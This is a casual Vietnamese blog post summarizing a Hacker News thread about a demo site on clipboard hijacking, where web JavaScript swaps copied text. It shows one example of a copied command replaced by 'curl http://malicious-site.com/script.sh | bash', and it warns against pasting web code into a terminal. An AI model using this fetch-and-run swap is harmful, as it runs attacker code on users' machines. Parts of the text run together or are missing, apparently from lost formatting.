Bôi đen code xịn xò nhưng paste ra toàn rác? Hóng drama 1200+ points trên Hacker News về trò ma giáo Clipboard Hijacking trên web.
Đã bao giờ anh em cào phím miệt mài, bí quá bèn Google, bôi đen một đoạn code xịn xò con bò trên mạng, Ctrl+C tự tin vãi chưởng, xong paste vào IDE thì nó lòi ra nguyên một sớ "Read more at..." chưa? Cay đ*o chịu được đúng không?
Mới đây, trên Hacker News vừa nổ ra một topic thu hút hơn 1250 điểm vọt lên top trending mang tên Copy Fail (kèm cái link gốc nghe đã thấy uy tín: copy.fail). Chả là có một ông dev nào đó vì quá rảnh rỗi (hoặc quá cay cú) đã làm ra hẳn một cái trang web demo thực tế về việc: Trình duyệt của bạn đang bị thao túng tâm lý như thế nào mỗi khi bạn bấm nút Copy.
Cho anh em lười click link thì đây là tóm tắt toàn cảnh:
Clipboard API và cái trò ma giáo dùng JavaScript để ghi đè dữ liệu lên bộ nhớ tạm của người dùng.npm install lib-xịn, nhưng khi paste ra terminal, nó có thể biến thành curl http://malicious-site.com/script.sh | bash và tự động gõ luôn phím Enter. Ảo ma chưa?Với một cộng đồng toàn các lão quái IT như Hacker News thì vụ này chả khác gì chọc vào tổ kiến lửa. Dân tình chia phe combat cực kỳ rôm rả, nhưng nhìn chung là chửi hăng lắm:
display: none rồi nhét vào clipboard khi user copy vẫn đang là một cái bẫy siêu to khổng lồ.Tóm cái váy lại, qua vụ này anh em rút ra được gì?
Thứ nhất, trên tư cách là người dùng, đạo hữu nào có thói quen copy code từ web rồi dán thẳng vào Terminal thì bỏ ngay đi nhé. Trừ khi các ông thích bị sập server hay muốn dâng shell cho hacker. Cứ dán vào một cái text editor thuần (như Notepad) để xem mặt mũi nó ra sao rồi hãy dùng.
Thứ hai, trên tư cách là người code (hoặc nạn nhân bị sếp dí). Nếu một ngày đẹp trời, gã PM đập bàn yêu cầu bạn: "Em ơi, làm tính năng cấm copy hoặc chèn link bản quyền vào clipboard cho web mình đi". Hãy dũng cảm đứng lên, nhìn thẳng vào mắt hắn và nói: "Anh bớt lùa gà đi!".
Clipboard là vùng đất thiêng liêng của người dùng, đừng cố gắng kiểm soát nó. Làm web thì UX mượt mà, nội dung xịn là người ta tự nhớ, chứ ba cái trò tiểu xảo khóa mõm người dùng thế này chỉ chứng tỏ mình đang đi lùi về thời Web 1.0 năm 2005 thôi các đồng đạo ạ.
Nguồn hóng hớt:
